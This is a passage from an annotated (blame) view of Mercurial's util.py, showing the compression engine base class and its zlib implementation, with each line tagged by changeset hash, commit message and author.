changeset
|
3422 raise NotImplementedError() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3423 |
30437
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3424 def available(self): |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3425 """Whether the compression engine is available. |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3426 |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3427 The intent of this method is to allow optional compression engines |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3428 that may not be available in all installations (such as engines relying |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3429 on C extensions that may not be present). |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3430 """ |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3431 return True |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3432 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3433 def bundletype(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3434 """Describes bundle identifiers for this engine. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3435 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3436 If this compression engine isn't supported for bundles, returns None. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3437 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3438 If this engine can be used for bundles, returns a 2-tuple of strings of |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3439 the user-facing "bundle spec" compression name and an internal |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3440 identifier used to denote the compression format within bundles. To |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3441 exclude the name from external usage, set the first element to ``None``. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3442 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3443 If bundle compression is supported, the class must also implement |
30359
673f0fdc1046
util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30356
diff
changeset
|
3444 ``compressstream`` and `decompressorreader``. |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3445 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3446 The docstring of this method is used in the help system to tell users |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3447 about this engine. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3448 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3449 return None |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3450 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3451 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3452 """Declare support for this compression format on the wire protocol. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3453 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3454 If this compression engine isn't supported for compressing wire |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3455 protocol payloads, returns None. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3456 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3457 Otherwise, returns ``compenginewireprotosupport`` with the following |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3458 fields: |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3459 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3460 * String format identifier |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3461 * Integer priority for the server |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3462 * Integer priority for the client |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3463 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3464 The integer priorities are used to order the advertisement of format |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3465 support by server and client. The highest integer is advertised |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3466 first. Integers with non-positive values aren't advertised. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3467 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3468 The priority values are somewhat arbitrary and only used for default |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3469 ordering. The relative order can be changed via config options. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3470 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3471 If wire protocol compression is supported, the class must also implement |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3472 ``compressstream`` and ``decompressorreader``. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3473 """ |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3474 return None |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3475 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3476 def revlogheader(self): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3477 """Header added to revlog chunks that identifies this engine. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3478 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3479 If this engine can be used to compress revlogs, this method should |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3480 return the bytes used to identify chunks compressed with this engine. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3481 Else, the method should return ``None`` to indicate it does not |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3482 participate in revlog compression. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3483 """ |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3484 return None |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3485 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3486 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3487 """Compress an iterator of chunks. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3488 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3489 The method receives an iterator (ideally a generator) of chunks of |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3490 bytes to be compressed. It returns an iterator (ideally a generator) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3491 of bytes of chunks representing the compressed output. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3492 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3493 Optionally accepts an argument defining how to perform compression. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3494 Each engine treats this argument differently. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3495 """ |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3496 raise NotImplementedError() |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3497 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3498 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3499 """Perform decompression on a file object. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3500 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3501 Argument is an object with a ``read(size)`` method that returns |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3502 compressed data. Return value is an object with a ``read(size)`` that |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3503 returns uncompressed data. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3504 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3505 raise NotImplementedError() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3506 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3507 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3508 """Obtain an object that can be used to compress revlog entries. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3509 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3510 The object has a ``compress(data)`` method that compresses binary |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3511 data. This method returns compressed binary data or ``None`` if |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3512 the data could not be compressed (too small, not compressible, etc). |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3513 The returned data should have a header uniquely identifying this |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3514 compression format so decompression can be routed to this engine. |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3515 This header should be identified by the ``revlogheader()`` return |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3516 value. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3517 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3518 The object has a ``decompress(data)`` method that decompresses |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3519 data. The method will only be called if ``data`` begins with |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3520 ``revlogheader()``. The method should return the raw, uncompressed |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3521 data or raise a ``RevlogError``. |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3522 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3523 The object is reusable but is not thread safe. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3524 """ |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3525 raise NotImplementedError() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3526 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3527 class _zlibengine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3528 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3529 return 'zlib' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3530 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3531 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3532 """zlib compression using the DEFLATE algorithm. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3533 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3534 All Mercurial clients should support this format. The compression |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3535 algorithm strikes a reasonable balance between compression ratio |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3536 and size. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3537 """ |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3538 return 'gzip', 'GZ' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3539 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3540 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3541 return compewireprotosupport('zlib', 20, 20) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3542 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3543 def revlogheader(self): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3544 return 'x' |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3545 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3546 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3547 opts = opts or {} |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3548 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3549 z = zlib.compressobj(opts.get('level', -1)) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3550 for chunk in it: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3551 data = z.compress(chunk) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3552 # Not all calls to compress emit data. It is cheaper to inspect |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3553 # here than to feed empty chunks through generator. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3554 if data: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3555 yield data |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3556 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3557 yield z.flush() |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3558 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3559 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3560 def gen(): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3561 d = zlib.decompressobj() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3562 for chunk in filechunkiter(fh): |
30536
98d7636c4729
util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30473
diff
changeset
|
3563 while chunk: |
98d7636c4729
util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30473
diff
changeset
|
3564 # Limit output size to limit memory. |
98d7636c4729
util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30473
diff
changeset
|
3565 yield d.decompress(chunk, 2 ** 18) |
98d7636c4729
util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30473
diff
changeset
|
3566 chunk = d.unconsumed_tail |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3567 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3568 return chunkbuffer(gen()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3569 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3570 class zlibrevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3571 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3572 insize = len(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3573 # Caller handles empty input case. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3574 assert insize > 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3575 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3576 if insize < 44: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3577 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3578 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3579 elif insize <= 1000000: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3580 compressed = zlib.compress(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3581 if len(compressed) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3582 return compressed |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3583 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3584 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3585 # zlib makes an internal copy of the input buffer, doubling |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3586 # memory usage for large inputs. So do streaming compression |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3587 # on large inputs. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3588 else: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3589 z = zlib.compressobj() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3590 parts = [] |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3591 pos = 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3592 while pos < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3593 pos2 = pos + 2**20 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3594 parts.append(z.compress(data[pos:pos2])) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3595 pos = pos2 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3596 parts.append(z.flush()) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3597 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3598 if sum(map(len, parts)) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3599 return ''.join(parts) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3600 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3601 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3602 def decompress(self, data): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3603 try: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3604 return zlib.decompress(data) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3605 except zlib.error as e: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3606 raise error.RevlogError(_('revlog decompress error: %s') % |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3607 str(e)) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3608 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3609 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3610 return self.zlibrevlogcompressor() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3611 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3612 compengines.register(_zlibengine()) |
358cda0af6ee
util: create new abstraction for compression engines
